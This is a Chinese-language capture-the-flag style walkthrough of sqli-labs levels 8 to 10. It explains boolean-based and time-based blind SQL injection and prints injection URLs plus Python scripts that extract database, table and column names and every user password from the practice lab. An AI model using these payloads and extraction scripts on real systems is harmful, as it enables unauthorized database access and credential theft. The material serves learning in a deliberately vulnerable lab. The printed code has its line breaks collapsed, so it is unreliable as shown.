sqli-labs 靶场 less-8、9、10 第八关到第十关详解:布尔注入,时间注入

SQLi-Labs是一个用于学习和练习SQL注入漏洞的开源应用程序。通过它,我们可以学习如何识别和利用不同类型的SQL注入漏洞,并了解如何修复和防范这些漏洞。

Less 8

SQLI DUMB SERIES-8

判断注入点

当输入id为1时正常显示:
id=1
加上单引号就报错了
welcome
那就将后面的代码注释就恢复正常显示:

http://sqli-labs.com/Less-8/
?id=1'--+

--+
并通过order语句得到表单字段为3个:
Order

实施注入

布尔(Boolean)盲SQL注入技术是一种SQL注入攻击的形式,它利用了数据库在处理布尔逻辑时的漏洞。
在这种攻击中,攻击者通过构造特定的SQL语句,尝试修改应用程序的查询语句,以便程序在响应时反映出某些操作结果(如真或假),从而确定某些特定答案或确认应用程序中的漏洞。
布尔盲注的原理是通过构造恰当的SQL语句,使得应用程序的响应结果有所不同。

通过以上信息来看可以确定,这一关可以用布尔盲注的方式来进行解题。我们先尝试用语句来判断是否获取正常。
通过下列结果可以看出来database()的第一个字符并不是a,我们需要继续尝试所有英文字母。

http://sqli-labs.com/Less-8/
?id=1')) and substr(database(),1,1)='a' --+

You are in.... Use outfile...

直到我们尝试用s测试出来它才是目标,并提示“***You are in…”。

http://sqli-labs.com/Less-8/
?id=1')) and substr(database(),1,1)='s' --+

You are in.... Use outfile

如果在MYSQL中的话则过程则为:

SELECT * FROM users WHERE id=(('1')) and substr(database(),1,1)='s' ;

username
故我们使用python代码来模拟这个过程并获取到完整目录文件,代码如下 :

import requestsALPHABET=",abcdefghijklmnopqrstuvwxyz"
A_LEN=len(ALPHABET) 
URL="http://sqli-labs.com/Less-8/?id=1' and substr(({sql}),{position},1)='{char}'--+"#布尔注入并返回判断
def boolInject(path):response=requests.get(path)if response.status_code==200:if "You are in" in response.text:return Trueelse:return Falseelse:return False#获取数据
def extract_data(sql):s=""position=0while True:position+=1#先判断是否为空,为空则直接断开(意味着没有数据或已完成数据采集)res=boolInject(URL.format(sql=sql,position=position,char=""))if res==True:break#不为空则尝试一个个判断字母是否符合char=" "for i in range(A_LEN):res=boolInject(URL.format(sql=sql,position=position,char=ALPHABET[i]))#如果找到相同的字符串则填入charif res==True:char=ALPHABET[i]breaks+=charreturn s

接着我们在相同文件编写获取数据库的命令:

print(extract_data("database()"))

ID参数实际为1')) and substr(database(),%i,1)='%s'--+
最后执行该文件:

> python bool.py

python
接着获取其它参数:

#获取表名
print(extract_data("select group_concat(table_name) from information_schema.tables where table_schema='security'"))
#query="1')) and substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),%i,1)='%s'--+"
#获取列名
print(extract_data("select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'"))
#query="1')) and substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),%i,1)='%s'--+"
#获取用户名全部密码
print(extract_data("select group_concat(password) from users"))
#query="1')) and substr((select group_concat(password) from users),%i,1)='%s'--+"

结果如下:
password
但是你会发现,在获取用户密码的时候会有很多空字符,这里是什么原因呢?

这是由于没有匹配对应的字符造成的,如果想要解决这个问题,那么你就要在`ALPHABET`参数上加上更多的字符以适应更多的情况。

Less 9

SQLI DUMB SERIES-9

series

判断注入点

输入ID,正常显示
id
但输入其它字符也都显示一样的内容。
you are in
在这里我们无法看到错误信息,也不知道信息能否正常获取到。
此时则尝试使用时间注入的方式来进行,当输入下列参数时可以看到页面需要等待五秒才返回数据,则代表SQL语句运行成功,且可以利用此漏洞:

http://sqli-labs.com/Less-9/
?id=1' and sleep(5) --+

you are

实施注入

SQL时间注入是一种安全漏洞,通过修改SQL查询中的时间参数,攻击者可以获取未授权的数据或执行未授权的操作。
1. 基于时间延迟:在SQL语句中注入时间相关的代码,如MySQL中的sleep()函数。例如,sleep(5)会使数据库延时5秒返回内容。攻击者可以根据页面的响应时间来判断是否存在SQL时间注入。
2. 判断方法:通过在注入点输入类似'and sleep(5)的语句,如果页面响应时间至少为5秒,则说明存在SQL时间注入。
3. 获取敏感信息:通过不断尝试和调试,攻击者可以逐步推断出数据库中存储的信息,如用户名、密码等。

接下来的工作就是之前使用的布尔注入流程一样,通过一个个字的判断来确定是否为想要的字符。
如我们获取数据名称是否为s,并通过睡眠5秒来判断:

http://sqli-labs.com/Less-9/
?id=1' and substr(database(),1,1)='a' and sleep(5)--+

执行后页面立即返回了数据,代表数据库名的第一个字符并不是a,直接判断s才能成功:

http://sqli-labs.com/Less-9/
?id=1' and substr(database(),1,1)='s' and sleep(5)--+

我们把这个过程通过python代码来完成自动化注入与判断,完整代码如下:

import requests
import timeALPHABET=",abcdefghijklmnopqrstuvwxyz"#验证字符集
A_LEN=len(ALPHABET) 
SLEEP_TIME=1#等待时间(为了缩短代码运行时间,我们这里将睡眠时间设置为一秒钟)
URL="http://sqli-labs.com/Less-9/?id=1' and substr(({sql}),{position},1)='{char}' and sleep({time})--+"#布尔注入并返回判断
def inject(path):start=time.time()response=requests.get(path)end=time.time()#如果数据获取时间大于睡眠时间代表代码运行成功if response.status_code==200 and end-start>SLEEP_TIME:return Trueelse:return False#获取数据
def extract_data(sql):s=""position=0while True:position+=1#先判断是否为空,为空则直接断开(意味着没有数据或已完成数据采集)res=inject(URL.format(sql=sql,position=position,char="",time=SLEEP_TIME))if res==True:break#不为空则尝试一个个判断字母是否符合char=" "for i in range(A_LEN):res=inject(URL.format(sql=sql,position=position,char=ALPHABET[i],time=SLEEP_TIME))#如果找到相同的字符串则填入charif res==True:char=ALPHABET[i]breaks+=charreturn s
#获取数据库
print(extract_data("database()"))
#query="1' and substr(database(),%i,1)='%s' and sleep(%i)--+"

执行代码即获取成功:
python timeInject
那么后面的代码也是一样的道理:

#获取表名
print(extract_data("select group_concat(table_name) from information_schema.tables where table_schema='security'"))
#获取列名
print(extract_data("select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'"))
#获取用户名全部密码
print(extract_data("select group_concat(password) from users"))

执行结果,成功完成注入(有一说一,代码请求量一多这脚本运行时间真的长!):
timeInject

Less 10

SQLI DUMB SERIES-10

series

判断注入点

输入注入代码,通过测试可知是使用双引号来进行闭合的查询语句。

http://sqli-labs.com/Less-10/?id=1' and sleep(5) --+
http://sqli-labs.com/Less-10/?id=1' and sleep(5) --+
http://sqli-labs.com/Less-10/?id=1" and sleep(5) --+

sqli dum
如此便可以采用和上面类似的盲注入代码来进行。仅需要改其它的常量URL修改一下:

URL="http://sqli-labs.com/Less-10/?id=1\" and substr(({sql}),{position},1)='{char}' and sleep({time})--+"

SLEEP

系列文章

  • sqli-labs 靶场闯关基础准备
  • sqli-labs 靶场 less-1、2、3、4第一关至第四关
  • sqli-labs 靶场 less-5、6 第五关和第六关
  • sqli-labs 靶场 less-7

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/25224.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

零基础非科班也能掌握的C语言知识19 动态内存管理

动态内存管理 1.为什么要有动态内存分配2.malloc和free2.1 malloc2.2 free 3.calloc和realloc3.1 calloc3.2realloc 4.常见的动态内存的错误4.1对NULL指针的解引用操作4.2对动态开辟空间的越界访问4.3对非动态内存开辟的空间free4.4使用free释放⼀块动态开辟内存的⼀部分4.5对同…

在Anaconda中安装keras-contrib库

文章目录 1. 有git2. 无git2.1 步骤12.2 步骤22.3 步骤3 1. 有git 如果环境里有git,直接运行以下命令: pip install githttps://www.github.com/farizrahman4u/keras-contrib.git2. 无git 2.1 步骤1 打开网址:https://github.com/keras-tea…

Vue3【十四】watchEffect自动监视多个数据实现,不用明确指出监视哪个数据

Vue3【十四】watchEffect自动监视多个数据实现&#xff0c;不用明确指出监视哪个数据 Vue3【十四】watchEffect自动监视多个数据实现&#xff0c;不用明确指出监视哪个数据 进入立即执行一次&#xff0c;并监视数据变化 案例截图 目录结构 代码 Person.vue <template>&…

Java----抽象类和接口

欢迎大家来这次博客-----抽象类和接口。 1.抽象类 1.1 抽象类概念 在Java中我们都是通过类来描述对象&#xff0c;但反过来并不是所有的类都是用来描述对象的。当一个类中没有足够的信息来描述一个具体对象&#xff0c;我们就将该类称为抽象类。 如上图中的Shape类&#xff…

通用Mapper基础学习

一、引入 二、快速入门 1.创建测试数据 2.搭建MyBatis+Spring 开发环境 3.集成Mapper 4.第一个操作 Mapper接口源码介绍: 创建测试类: 三、常见操作

统计信号处理基础 习题解答10-9

题目 某质检员的工作是监控制造出来的电阻阻值。为此他从一批电阻中选取一个并用一个欧姆表来测量它。他知道欧姆表质量较差&#xff0c;它给测量带来了误差&#xff0c;这个误差可以看成是一个的随机变量。为此&#xff0c;质检员取N个独立的测量。另外&#xff0c;他知道阻值…

FreeRTOS基础(十三):队列集

队列集&#xff08;Queue Set&#xff09;通常指的是一组队列&#xff0c;它们可以用于处理不同的任务或数据流。每个队列可以独立地处理自己的元素&#xff0c;但作为一个集群&#xff0c;它们可以协同工作来完成更复杂的任务。下面进行介绍。 目录 一、队列集简介 二、队列…

详解 Flink 的 ProcessFunction API

一、Flink 不同级别的 API Flink 拥有易于使用的不同级别分层 API 使得它是一个非常易于开发的框架最底层的 API 仅仅提供了有状态流处理&#xff0c;它将处理函数&#xff08;Process Function &#xff09;嵌入到了 DataStream API 中。底层处理函数&#xff08;Process Func…

HarmonyOS开发-鸿蒙UiAbility 组件间跳转

前言 随着春节假期结束各行各业复产复工&#xff0c;一年一度的春招也持续火热起来。最近&#xff0c;有招聘平台发布了《2024年春招市场行情周报&#xff08;第一期&#xff09;》。总体来说今年的就业市场还是人才饱和的状态&#xff0c;竞争会比较激烈。 但是&#xff0c;…

Unity编辑器扩展,快捷键的使用

代码部分 编辑器界面 使用方法&#xff1a; 使用方法和如图1一样&#xff0c;只需要在Menuitem的路径后面加上标识符号就行。 "#"对应的是shift "&"对应的是Alt "%"对应的是ctrl 比如我图中的是&#xff0c;%#s对应的是CtrlShifts&…

基于51单片机的串口乒乓球小游戏

基于51单片机的乒乓球小游戏 &#xff08;仿真&#xff0b;程序&#xff09; 功能介绍 具体功能&#xff1a; 1.用两块单片机串口进行通信&#xff1b; 2.一排LED模拟乒乓球运动&#xff08;哪里亮表示运动到哪&#xff09;&#xff1b; 3.当最左边LED亮&#xff0c;表示球…

【java、lucene、python】互联网搜索引擎课程报告二:建立搜索引擎

一、项目要求 建立并实现文本搜索功能 对经过预处理后的500个英文和中文文档/网页建立搜索并实现搜索功能对文档建立索引&#xff0c;然后通过前台界面或者已提供的界面&#xff0c;输入关键字&#xff0c;展示搜索结果前台可通过网页形式、应用程序形式、或者利用已有的界面…

Databricks Data Warehouse

Warehouse features 原来的data warehouse痛点&#xff1a; 用例不兼容的支持模型的安全和管理不兼容不相交和重复的数据 ETL workloads Streaming Architecture Data Science and ML

matplotlib 动态显示训练过程中的数据和模型的决策边界

文章目录 Github官网文档简介动态显示训练过程中的数据和模型的决策边界安装源码 Github https://github.com/matplotlib/matplotlib 官网 https://matplotlib.org/stable/ 文档 https://matplotlib.org/stable/api/index.html 简介 matplotlib 是 Python 中最常用的绘图…

js理解异步编程和回调

什么是异步 计算机在设计上是异步的。 异步意味着事情可以独立于主程序流发生。 当你打开一个网页&#xff0c;网页载入的过程&#xff0c;你又打开了编译器&#xff0c;那么你在网页载入时启动了编译器的行为就是计算机的异步&#xff0c; 可以看出计算机时一个超大的异步…

华为防火墙 1

华为防火墙1 实验拓扑&#xff1a; 实验步骤&#xff1a; 1.完成终端基本IP信息配置 2.配置防火墙&#xff1a; 2.1配置IP地址 sys Enter system view, return user view with CtrlZ. [USG6000V1]undo in e Info: Saving log files… Info: Information center is disabled. […

基于小波脊线的一维时间序列信号分解方法(MATLAB R2018A)

信号分解技术是把一个复杂信号分解为若干含有时频信息的简单信号&#xff0c;研可通过分解后的简单信号来读取和分析复杂信号的有效特征。因此&#xff0c;信号分解技术对分析结果的影响是不言而喻的。 傅里叶分解是早期常用的信号分解方法&#xff0c;最初被用于分析热过程&a…

JavaScript基础(十二)

截取字符串 //对象名.toLowerCase();将字符串转为小写 var strLAOWANG; strstr.toLowerCase(); console.log(str); //对象名.toUpperCase();将字符串转为大写 var str1laowang str1str1.toUpperCase(); console.log(str1); 截取字符串 //方法1&#xff1a;对象名.substr(a,b); …

Unity世界坐标下UI始终朝向摄像机

Unity世界坐标下UI始终朝向摄像机 1、第一种方法UI会反过来 void Update(){this.transform.LookAt(Camera.main.transform.position);}2、第二种方法 Transform m_Camera;void Start(){m_Camera Camera.main.transform;}void LateUpdate(){transform.rotation Quaternion.Lo…

kafka-生产者事务-数据传递语义事务介绍事务消息发送(SpringBoot整合Kafka)

文章目录 1、kafka数据传递语义2、kafka生产者事务3、事务消息发送3.1、application.yml配置3.2、创建生产者监听器3.3、创建生产者拦截器3.4、发送消息测试3.5、使用Java代码创建主题分区副本3.6、屏蔽 kafka debug 日志 logback.xml3.7、引入spring-kafka依赖3.8、控制台日志…